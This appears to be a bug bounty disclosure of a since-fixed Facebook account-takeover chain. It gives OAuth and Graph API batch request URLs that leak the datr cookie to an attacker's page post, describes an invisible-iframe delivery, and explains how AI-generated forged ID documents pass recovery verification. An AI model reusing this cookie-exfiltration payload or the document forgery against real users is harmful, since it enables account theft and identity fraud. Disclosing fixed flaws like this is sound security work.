Introduction


Facebook relies on long-lived device identifiers to reduce friction for returning users and to distinguish legitimate activity from suspicious logins. Over time, devices that repeatedly authenticate to the same account are treated as trusted, allowing Facebook to relax certain security requirements during sensitive flows such as account recovery.

One of the core identifiers used for this purpose is the datr cookie. This cookie is designed to uniquely identify a browser and persists for long periods of time. Once a browser accumulates sufficient trust, Facebook treats possession of this cookie as strong evidence that the device belongs to the legitimate account owner.

This report describes a vulnerability that allows an attacker to steal the datr cookie from a victim’s browsing session and reuse it to impersonate a trusted device. By abusing Facebook’s trusted device account recovery flow, the attacker can bypass passwords and two-factor authentication and fully take over the victim’s account.

Description

Trusted Devices and Account Recovery

When a user initiates account recovery at: https://www.facebook.com/recover/account/

Facebook typically requires verification through an email address or phone number associated with the account. However, when the request originates from a trusted device, Facebook offers an alternative path for users who claim they no longer have access to those contact methods.

In this case, the platform allows recovery through identity verification by uploading a document. This flow is largely automated and is intended to help legitimate users regain access when traditional recovery options are unavailable.

The security of this flow relies entirely on the assumption that a trusted device cannot be easily impersonated.

The vulnerability originates from the interaction between Facebook’s OAuth implementation and the Graph API.

By creating a legitimate Facebook application and enabling Facebook Login, an attacker can generate OAuth authorization codes and access tokens using documented flows. Under specific conditions, exchanging an OAuth authorization code while a datr cookie is present causes Facebook to include a parameter named machine_id in the response.

This machine_id value directly corresponds to the browser’s datr cookie.

While this response is not directly readable cross-origin, Facebook’s batch API allows chaining multiple Graph API requests and referencing fields from earlier responses. By abusing this behavior, the attacker can propagate the machine_id value into attacker-controlled output, such as a Facebook Page post.

As a result, a sensitive device identifier that should remain confidential is exposed to the attacker.

Attack Flow Summary

Preparation


1) Create a Facebook Page

2) Create a Facebook App noted ATTACKER_APP_ID

3) Allow Facebook Login for the app

4) Visit link below and you should retrieve an access_token noted ACCESS_TOKEN :

https://www.facebook.com/dialog/oauth?
&app_id=ATTACKED_APP_ID
&redirect_uri=EXACT_REDIRECT_URI
&response_type=token

5) Visit link below and it should return an access_token noted LONG_LIVED_ACCESS_TOKEN :

https://graph.facebook.com/oauth/access_token?
&client_id=ATTACKER_APP_ID
&client_secret=ATTACKER_APP_SECRET
&redirect_uri=EXACT_REDIRECT_URI
&method=post
&fb_exchange_token=ACCESS_TOKEN

6) Visit link below and it should return an OAuth code noted ATTACKER_CODE :

https://graph.facebook.com/oauth/client_code?
&client_id=ATTACKER_APP_ID
&client_secret=ATTACKER_APP_SECRET
&redirect_uri=EXACT_REDIRECT_URI
&method=post
&access_token=LONG_LIVED_ACCESS_TOKEN

Attack


1) We’ll use the ATTACKER_CODE mentioned above in this request:

https://graph.facebook.com/oauth/access_token?
&client_id=ATTACKER_APP_ID
&redirect_uri=REDIRECT_URI
&method=get
&code=ATTACKER_CODE

If you navigate to this URL, while logged-in/logged-out on Facebook ( and assuming datr cookie is set ), this would return the datr cookie in the response inside a parameter named machine_id

PS: The ATTACKER_CODE could be used once, so every time redo only step 6 from preparation above

2) In order to leak the response of the previous request, we’ll use BATCH requests, we’ll get the machine_id from the response and pass it to , For example, to another edge that make a page post:

https://graph.facebook.com/?
&batch=
[
  {
    "method": "post",
    "omit_response_on_success": 0,
    "relative_url": "/oauth/access_token?client_id=ATTACKER_APP_ID%26redirect_uri=EXACT_REDIRECT_URI",
    "body": "code=ATTACKER_CODE",
    "name": "test"
  },
  {
    "method": "post",
    "relative_url": "ATTACKER_PAGE_ID/posts",
    "body": "message={result=test:$.machine_id}"
  }
]
&access_token=ATTACKER_PAGE_TOKEN
&method=post

PS: I used the creation of a page post to log victim's datr cookie, but many other ways can be used, like querying an external website, by using a picture upload via url. This was the simplest way for a proof of concept :)

To steal the datr cookie, the attacker embeds the crafted Graph API batch url above inside an invisible iframe hosted on any website.

When a victim visits the page, the browser automatically fetchs the url with the datr cookie included in the request ( SameSite=None ). The request returns the datr cookie value inside machine_id and the batch request exfiltrates it and send it to the attacker. No user interaction is required beyond visiting the page.

Once the attacker obtains the stolen datr value, they inject it into a fresh browser session and navigate to facebook.com. From Facebook’s perspective, the attacker is now using a trusted device associated with the victim.

At this point, the attacker initiates the account recovery flow and supplies the victim’s user ID. When prompted to confirm account ownership, the attacker selects the option indicating that they no longer have access to the email or phone number.

Because the request originates from a trusted device, Facebook proceeds with identity verification instead of blocking the recovery attempt.

Abusing Identity Verification

The identity verification step requires uploading a document that matches the victim’s personal details. The information required for verification typically includes the victim’s full name, date of birth, and country of origin.

In practice, this information is often obtainable from public Facebook profile data, historical posts, the “About” section, or external data sources that have aggregated leaked personal information.

Using AI-powered document generation services, an attacker can create a synthetic but plausible identity document, such as a visa. Testing confirmed that such documents are accepted by the automated verification system.

Once the document is approved, Facebook allows the attacker to add a new email address to the account. This occurs within minutes and does not require extended manual review.

Impact


This vulnerability enables full Facebook account takeover by combining cookie theft with trusted device recovery. It bypasses passwords, two-factor authentication, and relies on identity verification mechanisms that assume possession of a trusted device implies legitimacy.

Once the datr cookie is compromised, the attacker effectively controls the account recovery process.

Timeline


Dec 18, 2024 — Bug reported

Dec 19, 2024 — Bug Acknowledged by Facebook

Jan 15, 2025 — $24,000 bounty awarded by Meta

Jan 27, 2025 — Bug Fixed by Facebook